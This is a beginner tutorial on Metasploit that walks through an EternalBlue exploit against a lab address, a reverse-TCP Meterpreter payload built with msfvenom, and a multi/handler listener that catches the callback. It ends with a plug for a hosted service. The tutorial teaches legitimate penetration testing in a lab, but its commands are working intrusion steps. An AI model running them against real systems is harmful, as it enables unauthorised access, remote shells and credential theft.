What Metasploit actually is

Newcomers meet Metasploit as "the tool that runs exploits", which is true and also the least interesting thing about it. What makes it the framework every other pentest tool measures itself against is that it turns four separate jobs — knowing which exploit fits a target, delivering it, catching the connection that comes back, and doing something useful with that connection — into four kinds of interchangeable module that snap together. Learn how the pieces fit and you can reason about any of the thousands of modules you have never seen, instead of memorising commands.

This guide takes you from an empty msfconsole to a live session on a lab target. What you do with that session — privilege escalation, credential theft, pivoting to the next host — is the subject of the companion guide on Meterpreter and post-exploitation.

The five module types

Everything in the framework is one of these, and the whole workflow is a matter of choosing one of each that you need:

• Exploits take advantage of a specific vulnerability. exploit/windows/smb/ms17_010_eternalblue is one flaw, in one protocol, on one platform.
• Payloads are the code that runs after the exploit lands — a shell, or the far more capable Meterpreter.
• Auxiliary modules do everything that is not exploitation: port and version scanning, fuzzing, brute-forcing, protocol enumeration. You will often use an auxiliary scanner before any exploit.
• Post modules run inside a session you already have, to escalate, harvest or pivot.
• Encoders and nops reshape a payload's bytes. Their historical job was evading signature-based antivirus; against a modern EDR they rarely help on their own, and it is worth having that expectation from the start.

The important idea is that exploit and payload are chosen separately. The same EternalBlue exploit can deliver a simple command shell, a Meterpreter session, or a payload that just adds a user — because the exploit's job ends the moment it gets code running, and the payload's job begins there.

Reverse versus bind: which way the connection goes

Before the first exploit, one distinction saves a lot of confusion. A payload named reverse_tcp makes the target connect back to you; a bind_tcp payload opens a port on the target and waits for you to connect in. Reverse is the default for a reason: outbound connections usually survive a firewall that blocks inbound ones. This is why a reverse payload needs LHOST (your address, for the target to reach) while a bind payload needs only RHOST. Getting these backwards is the single most common reason a beginner's exploit "succeeds" but no session appears.

Your first exploit, step by step

1. Start the console.
msfconsole
2. Find something that fits the target.
msf6 > search type:exploit platform:windows smb
3. Select it. The prompt changes to show the active module.
msf6 > use exploit/windows/smb/ms17_010_eternalblue
4. See what it needs.
msf6 exploit(ms17_010_eternalblue) > show options
5. Point it at the target.
msf6 exploit(...) > set RHOSTS 192.168.56.101
6. Choose a payload, and tell it where to call home.
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > set LHOST 192.168.56.1
7. Sanity-check before firing.
msf6 exploit(...) > check
msf6 exploit(...) > exploit

Two of these steps are the ones people skip and then regret. show options lists every required field — miss one and the exploit fails with a message that does not always name the missing field. And check, which many exploits support, asks the target whether it is likely vulnerable without firing the exploit. On a fragile production system, a failed EternalBlue attempt can blue-screen the host; check first is the difference between a finding and an outage you have to explain.

Reading what comes back

A successful run ends with a line like:

[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:49512)

If you instead see the exploit complete with no session, the usual causes are, in order: the payload could not reach LHOST (wrong address, or a firewall between you and the target), the target was patched and the exploit simply failed, or you chose a payload architecture that does not match the target — a x64 payload against a 32-bit process, for instance. set PAYLOAD mismatches are quiet failures, so when in doubt, start with the generic windows/meterpreter/reverse_tcp and let the framework sort the architecture out.

You do not have to hold the exploit open. background (or Ctrl+Z) drops the session into the background and returns you to the console, where sessions -l lists them and sessions -i 1 resumes one.

Payloads you build ahead of time: msfvenom

Not every payload is delivered by an exploit. Often you need a standalone file — something to drop on a target you already have limited access to, or to use in a phishing exercise that is inside your engagement's scope. msfvenom builds those:

A Windows executable that calls back to you.
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.0.0.5 LPORT=4444 -f exe -o payload.exe

Run it and the tool reports what it produced:

Payload size: 509 bytes
Final size of exe file: 7680 bytes
Saved as: payload.exe

The -f format is the whole point of msfvenom: the same payload can come out as an exe, a dll, an elf for Linux, a .jar, an aspx web shell, raw shellcode, and around forty other formats. You pick the one that fits how you will deliver it. A payload built this way needs something on your side to catch the connection — which is the next piece.

The multi/handler: catching what you sent

When the payload is delivered by msfvenom rather than by a live exploit, you run a listener yourself:

msf6 > use exploit/multi/handler
msf6 exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(handler) > set LHOST 10.0.0.5
msf6 exploit(handler) > set LPORT 4444
msf6 exploit(handler) > exploit -j

The payload in the handler must match the payload you built with msfvenom, down to the architecture and the LPORT — the handler is the other end of the same phone line. -j runs it as a background job so you can keep working while it waits for the call.

Practise legally, from the first command

Everything above is illegal against a system you do not own or have written permission to test, and "I was learning" is not a defence. Build a lab instead — it is the fastest way to learn and the only safe one:

• Metasploitable 2/3, VMs the Metasploit project maintains specifically as legal targets.
• VirtualBox or VMware on your own machine, with a host-only network so nothing you launch can leave it.
• A HackTheBox or TryHackMe subscription, which give you sanctioned targets and a guided path.

EternalBlue against your own Metasploitable VM teaches you the same workflow you will use on a real engagement, with none of the legal exposure.

Running Metasploit without maintaining it

Keeping a current Metasploit install, a payload toolkit and a lab network on your own machine is real work, and doing it is a legitimate way to learn the tool deeply. If you would rather not, CyberSec Pro runs Metasploit's modules from a browser — you choose the module and set its options on a form, see the command before it runs, and watch the output stream back. The job runs server-side in a dedicated container, one process per job, and any credentials you provide are held in memory for that job alone.

Either way, the mental model is what carries over: exploit and payload are separate choices, reverse connections come back to your LHOST, and you check before you exploit. Once you have a session open, the companion guide picks up from there.